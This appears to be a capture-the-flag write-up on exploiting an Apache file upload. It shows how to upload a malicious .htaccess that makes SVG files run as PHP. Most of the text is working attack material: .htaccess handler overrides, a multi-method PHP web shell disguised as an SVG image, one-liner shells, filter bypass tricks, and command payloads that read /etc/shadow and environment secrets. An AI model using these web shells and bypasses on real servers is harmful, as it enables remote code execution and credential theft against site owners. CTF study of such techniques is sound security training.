CTF Notes: Apache .htaccess Exploitation

File Upload Vulnerabilities and RCE Techniques

Author: Eyad Islam El-Taher

Date: December 12, 2025

1 Introduction to the CTF Challenge

1.1 Challenge Description

Challenge Brief

Scenario: A university's online registration portal asks students to upload their ID cards for verification. The developer put some filters in place to ensure only image files are uploaded.
Vulnerability: SVG files are accepted as images, but the server may execute them incorrectly.
Objective: Achieve Remote Code Execution (RCE) using JavaScript/PHP via file upload.

1.2 Target Analysis

- **Server:** Apache/2.4.62
- **Upload Type:** Image files (SVG accepted)
- **Defense:** Basic file type filtering
- **Attack Vector:** File upload → .htaccess manipulation → RCE

2 Understanding .htaccess Files

2.1 What is .htaccess?

.htaccess (Hypertext Access) is a configuration file used by Apache web servers to control directory-level settings without modifying the main server configuration.

2.2 Key Characteristics

- **Hidden file** (starts with a dot) **Apache-specific** configuration
- **Directory-level** scope (affects current directory and subdirectories)
- **Processed on every request** (performance impact)
- **Can override global Apache settings**

2.3 Common Uses in Legitimate Context

```
# URL Rewriting
RewriteEngine On
RewriteRule ^blog/([0-9]+)/?$ blog.php?id=$1

# Password Protection
AuthType Basic
AuthName "Restricted Area"
AuthUserFile /path/to/.htpasswd
Require valid-user
```

```

# Custom Error Pages
ErrorDocument 404 /errors/404.html

# Security Headers
Header set X-Frame-Options "DENY"
```

Listing 1: Common .htaccess Directives

2.4 Security Impact: Why .htaccess is Dangerous

Critical Security Note

If an attacker can upload a .htaccess file, they can:

1. Force Apache to treat any file type as PHP
2. Execute arbitrary code from uploaded files
3. Bypass upload restrictions
4. Achieve Remote Code Execution (RCE)

3 The Attack Methodology

3.1 Attack Flow Diagram

Attack Chain:

1: Upload .htaccess with PHP handler configuration
2: Upload SVG containing PHP web shell
3: Access SVG file via browser
4: Execute system commands via GET parameters
5: Establish reverse shell for persistence

Figure 1: Attack methodology flowchart

3.2 Step 1: Upload Malicious .htaccess

```
# Method 1: AddType directive
AddType application/x-httpd-php .svg .jpg .png .gif

# Method 2: SetHandler directive
<FilesMatch "\.(svg|jpg|png|gif)$">
    SetHandler application/x-httpd-php
</FilesMatch>

# Method 3: ForceType directive
ForceType application/x-httpd-php

# Combined approach for maximum reliability
AddType application/x-httpd-php .svg
AddHandler application/x-httpd-php .svg
Options +ExecCGI
```

Listing 2: Malicious .htaccess to force PHP execution

3.2.1 Bypass Techniques for .htaccess Upload

1. **Case variation:** `.HTACCESS`, `.HtAccess`
2. **Trailing dot:** `.htaccess.`
3. **Double extension:** `.htaccess.jpg`
4. **Null byte injection:** `.htaccess%00.jpg`
5. **URL encoding:** `%2ehtaccess`
6. **No leading dot:** `htaccess`

3.3 Step 2: Upload SVG with PHP Payload

```
<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" width="400" height="400">

    <!-- PHP web shell - Multiple execution methods -->
    <?php
    // Method 1: system() function
    if(isset($_GET['cmd'])) {
        echo '<text x="10" y="20" font-family="monospace">';
        echo htmlspecialchars(system($_GET['cmd']));
        echo '</text>';
    }

    // Method 2: shell_exec() function
    if(isset($_GET['exec'])) {
        echo '<text x="10" y="50">';
        echo shell_exec($_GET['exec']);
        echo '</text>';
    }

    // Method 3: passthru() function
    if(isset($_GET['run'])) {
        echo '<text x="10" y="80">';
        passthru($_GET['run']);
        echo '</text>';
    }
    ?>

    <!-- Visual element to make it look like a real SVG -->
    <rect width="100%" height="100%" fill="#f0f0f0"/>
    <circle cx="200" cy="200" r="100" fill="blue"/>

</svg>
```

Listing 3: PHP web shell embedded in SVG

3.3.1 One-Liner SVG Payloads

```
<!-- Ultra-minimal payload -->
<svg xmlns="http://www.w3.org/2000/svg"><?=`$_GET[0]`?></svg>

<!-- With error suppression -->
```

```
<svg xmlns="http://www.w3.org/2000/svg"><?php @system($_GET['c']);?></
    svg>

<!-- Base64 encoded command -->
<svg xmlns="http://www.w3.org/2000/svg">
<?php system(base64_decode($_GET['b'])); ?>
</svg>
```

3.4 Step 3: Execute Commands

Command Execution Examples

Access the uploaded SVG with these URLs:

- `http://target.com/uploads/shell.svg?cmd=whoami`
- `http://target.com/uploads/shell.svg?exec=ls -la`
- `http://target.com/uploads/shell.svg?run=cat /etc/passwd`
- `http://target.com/uploads/shell.svg?0=id` (for one-liner)

4 Common RCE Payloads

```
# List directory contents
?cmd=ls -la

# Read system files
?cmd=cat /etc/passwd
?cmd=cat /etc/shadow
?cmd=cat /proc/self/environ

# Check current user
?cmd=whoami
?cmd=id

# Network information
?cmd=ifconfig
?cmd=netstat -tulpn

# Find flag files
?cmd=find / -name "*flag*" 2>/dev/null
?cmd=find / -type f -name "*.txt" 2>/dev/null | xargs grep -l "CTF{"
```

4.1 File Upload Bypass Techniques

Technique	Example
Double Extension	shell.svg.php
Case Manipulation	shell.SvG
Trailing Spaces	shell.svg[space]
Null Byte	shell.svg%00.jpg
Content-Type Spoofing	image/svg+xml
Magic Bytes	GIF89a at start